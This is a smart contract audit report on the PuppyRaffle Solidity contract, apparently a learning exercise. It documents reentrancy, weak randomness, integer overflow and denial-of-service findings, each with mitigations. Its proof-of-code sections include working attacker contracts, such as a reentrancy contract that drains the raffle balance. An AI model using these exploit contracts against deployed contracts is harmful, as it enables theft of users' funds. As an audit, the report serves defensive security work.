PuppyRaffle Audit Report

Version 1.0

h3xmora

May 18, 2025

Puppy Raffle Audit Report

H3xmora

May 18, 2025

Puppy Raffle Audit Report

Prepared by: H3xmora

Table of Contents

About H3xmora

Web3 security researcher transitioning from traditional cybersecurity and CTFs into smart contract auditing. Currently focused on deepening my skills in Solidity, Foundry, and EVM-level reasoning. I treat every contest as both a challenge and a learning ground, this report reflects my hands-on effort to move from studying vulnerabilities to actively spotting them in real code.

Disclaimer

H3xmora makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by them is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

H3xmora uses the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
./src/
--- PuppyRaffle.sol
```

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	7
Gas Optimizations	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1
2  function testReentrancy() public{
```

```
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttack attackContract = new ReentrancyAttack(
            puppyRaffle);
        address attackerAddress = makeAddr("attackerAddress");
        vm.deal(attackerAddress, 1 ether);

        uint256 startingAttackContractBalance = address(attackContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackerAddress);
        attackContract.attack{value: entranceFee}();

        uint256 endingAttackContractBalance = address(attackContract).
            balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;

        console.log("Attack Contract Initial balance: ",
            startingAttackContractBalance);
        console.log("Attack Contract Ending balance: ",
            endingAttackContractBalance);
        console.log("Puppy Raffle Initial balance: ",
            startingContractBalance);
        console.log("Puppy Raffle Ending balance: ",
            endingContractBalance);
    }
```

And this contract as well.

```

contract ReentrancyAttack {

    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable{

        address[] memory players = new address[](1);
```

```
16          players[0] = address(this);
17          puppyRaffle.enterRaffle{value: entranceFee}(players);
18          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
19          puppyRaffle.refund(attackerIndex);
20      }
21
22      function _stealMoney() internal{
23
24          if(address(puppyRaffle).balance >= entranceFee){
25              puppyRaffle.refund(attackerIndex);
26          }
27
28      }
29
30      fallback() external payable{
31          _stealMoney();
32      }
33
34      receive() external payable{
35          _stealMoney();
36      }
37
38  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1   function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7
8           payable(msg.sender).sendValue(entranceFee);
9   -       players[playerIndex] = address(0);
10  -       emit RaffleRefunded(playerAddress);
11      }
```

Alternatively, you could use [OpenZeppelinâĂŹs `ReentrancyGuard` library] (https://docs.openzeppelin.com/contrac
nonReentrantâĂŞ).

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users could fornt-run this function and call `refund` if they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to pariticipate. See the solidity blog on prevrando. `block.difficulty` was recently replaced with prevrando.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they donâĂŹt like the winner or resulting puppy.

Proof of Code

Code

Place the following in `PuppyRaffleTest.t.sol`

```
function testWeakRNG() public {
    PuppyRaffle puppyRaffle = new PuppyRaffle(
        entranceFee,
        feeAddress,
        duration
    );

    address[] memory players = new address[](7);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    players[4] = playerFive;
    players[5] = playerSix;
    players[6] = playerSeven;

    // Simulate 4 players entering the raffle
    puppyRaffle.enterRaffle{value: entranceFee * 7}(players);

```

```
20      // Deploy the attacker contract
21      WeakRNGAttack attackContract = new WeakRNGAttack(puppyRaffle,
            players.length + 1);
22      address attackerEOA = makeAddr("attacker");
23      vm.deal(attackerEOA, 1 ether);
24
25      // Attacker enters as last player
26      vm.prank(attackerEOA);
27      attackContract.enter{value: entranceFee}();
28      console.log("Attacker balance after joining the Raffle (-1 ether)",
            address(attackContract).balance);
29
30      // Predict the outcome
31      vm.prank(attackerEOA);
32      attackContract.attack();
33
34
35       if (puppyRaffle.previousWinner() == address(attackContract)) {
36          console.log("Attacker won the raffle!");
37          assertEq(puppyRaffle.ownerOf(attackContract.receivedTokenId()),
                address(attackContract));
38          uint256 rarity = puppyRaffle.tokenIdToRarity(attackContract.
                receivedTokenId());
39          console.log(" NFT rarity:", rarity);
40       }
41       else {
42          uint256 refunded = address(attackContract).balance;
43          console.log("Attacker called Refund:", refunded);
44       }
45
46   }
```

And this contract as well.

```
1  contract WeakRNGAttack is Test {
2     PuppyRaffle public puppyRaffle;
3     uint256 public attackerIndex;
4     uint256 public entranceFee;
5     uint256 public raffleDuration;
6     uint256 public playersLength;
7     uint256 public receivedTokenId;
8
9
10    constructor(PuppyRaffle _puppyRaffle, uint256 _playersLength) {
11        puppyRaffle = _puppyRaffle;
12        entranceFee = puppyRaffle.entranceFee();
13        raffleDuration = puppyRaffle.raffleDuration();
14        playersLength = _playersLength;
15    }
16
17    function hashOutput() public view returns (uint256) {
```

```
18          return uint256(keccak256(abi.encodePacked(
19              address(this),
20              block.timestamp,
21              block.difficulty
22          ))) % playersLength;
23      }
24
25      function enter() external payable {
26          address[] memory players = new address[](1);
27          players[0] = address(this);
28          puppyRaffle.enterRaffle{value: entranceFee}(players);
29          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
30      }
31
32      function attack() public {
33
34              vm.warp(block.timestamp + raffleDuration + 1);
35              vm.roll(block.number + 1);
36              uint256 prediction = hashOutput();
37              console.log("Prediction", prediction, " AttackerIndex:",
                    attackerIndex);
38
39              if (prediction == attackerIndex) {
40                  puppyRaffle.selectWinner();
41              }
42              else {
43                  puppyRaffle.refund(attackerIndex);
44              }
45          //}
46      }
47
48      fallback() external payable {
49          // This function is intentionally left empty
50      }
51      receive() external payable {
52          // This function is intentionally left empty
53      }
54
55       // Enables NFT receipt + logs tokenId
56      function onERC721Received(
57          address,
58          address,
59          uint256 tokenId,
60          bytes calldata
61      ) external returns (bytes4) {
62          receivedTokenId = tokenId;
63          console.log("Received NFT with tokenId:", tokenId);
64          return this.onERC721Received.selector;
65      }
66  }
```

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF. (https://docs.chain.link/vrf)

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity verisons prior to `0.8.0` integers were subject to integer overlows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 92 players enter a new raffle, and conclude the raffle 3. `totalFees` will be: `javascript totalFees = totalFees + uint64(fees); //aka totalFees = 800000000000000000 + 18400000000000000000; // and this will overflow! totalFees = 753255926290448384`

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function testUnsafeCastingPoC() public{
        // A few players enter
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
```

```
12
13          // select a winner
14          puppyRaffle.selectWinner();
15          uint64 totalFeeAfterFirstBatch = puppyRaffle.totalFees();
16          console.log("Total fee benifited from first batch: ",
                totalFeeAfterFirstBatch);
17
18          // another 92 players enter
19          address[] memory players2 = new address[](92);
20          for(uint256 i=0; i < players2.length; i++){
21              players2[i] = (address(i + 5));
22          }
23
24          puppyRaffle.enterRaffle{value: entranceFee * players2.length}(
                players2);
25          vm.warp(block.timestamp + duration + 1);
26          vm.roll(block.number + 1);
27
28          puppyRaffle.selectWinner();
29
30          uint64 totalFeeAfterBatchTwo = puppyRaffle.totalFees();
31          console.log("Total fee benifited from second batch: ",
                totalFeeAfterBatchTwo);
32
33
34          // it should be 0.8 + 18.4 = 19.2
35          uint256 expectedPuppyRaffleBalance = ((entranceFee * 4) * 20 /
                100) + ((entranceFee * 92) * 20 / 100);
36
37          assertTrue(totalFeeAfterBatchTwo != expectedPuppyRaffleBalance)
                ;
38
39          // we also cannot withdraw because of the withdraw check
40          vm.prank(puppyRaffle.feeAddress());
41          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
42          puppyRaffle.withdrawFees();
43
44      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instad of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZepplin fro version 0.7.6 of solidity, However you would stil have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -  require(address(this).balance == uint256(totalFees), "PuppyRaffle:
```

```
        There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicated. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 @>        for (uint256 i = 0; i < players.length - 1; i++) {
2               for (uint256 j = i + 1; j < players.length; j++) {
3                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
4                 }
5             }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in a queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 - 2nd 100 players: ~18068138

This is more than 3x more expensive for the second 100 players.

code

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function testDenialOfService() public{
2           vm.txGasPrice(1);
3
4           // first batch of 100 players
5           uint256 numPlayers = 100;
6           address[] memory players = new address[](numPlayers);
```

```
7             for(uint256 i=0; i < numPlayers; i++){
8                players[i] = address(i);
9             }
10            uint256 gasStart = gasleft();
11            puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                  players);
12            uint256 gasEnd = gasleft();
13            uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;
14            console.log("Gas used: ", gasUsed);
15
16            //second batch of 100 players
17            address[] memory players2 = new address[](numPlayers);
18
19            for(uint256 i=0; i < numPlayers; i++){
20                players2[i] = address(i + numPlayers); // 0, 1, 2 => 100,
                      101, 102
21            }
22
23            uint256 gasStart2 = gasleft();
24            puppyRaffle.enterRaffle{value: entranceFee * players2.length
                  }(players2);
25            uint256 gasEnd2 = gasleft();
26            uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
27            console.log("Gas used: ", gasUsed2);
28
29            assert(gasUsed < gasUsed2);
30
31        }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check does not prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

2nd recommendation

```
1
2  +    mapping(address => uint256) public adddressToRaffleId;
3  +    uint256 public raffleId = 0;
4
5      function enterRaffle(address[] memory newPlayers) public payable {
6          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
7          for (uint256 i = 0; i < newPlayers.length; i++) {
8              players.push(newPlayers[i]);
9  +           addressToRaffleId[newPlayer[i]] = raffleId;
10         }
```

```
11
12 -        //check for duplicates
13 +        //check for duplicates only from the new players
14 +        for(uint256 i = 0; i < newPlayers.length; i++){
15 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
16 +        }
17
18 -        for (uint256 i = 0; i < players.length - 1; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
21 -            }
22 -        }
23           emit RaffleEnter(newPlayers);
24     }
25
26          function selectWinner() external {
27 +            raffleId = raffleId + 1;
28             require(block.timestamp >= raffleStartTime + raffleDuration,
                   "PuppyRaffle: Raffle not over");
29
30          }
```

Alternatively, you could use [OpenZeppelinâĂŹs `EnumerableSet` library] (https://docs.openzeppelin.com/contracts/4

[M-2] Smart contract wallets of raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However if the winner is a smart contract wallet that rejects payment, the loterry would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` functions could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function would not work, even though the lottery is over

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reverse the 0th position for any competition, but a better solution might be to return an `int256` where the funtion returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from constants or immutables. If a state variable is never changed after it is initialized, consider declaring it as `constant` or `immutable`.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage. as opposed to memory which is more gas efficient.

```
+        uint256 playersLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i= 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational/Non-Critical

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new versions of the compiler with bug fixes and optimizations. Using an outdated version may expose your code to known vulnerabilities or inefficiencies.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 70

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 202

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It is best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
3           _safeMint(winner, tokenId);
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
```

[I-5] Use of âĂIJmagicâĂİ numbers is discouraged

It can be confusing to see number literals in a codebase, and it is much more readable if the numbers are given a name.

Examples:

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
2           uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```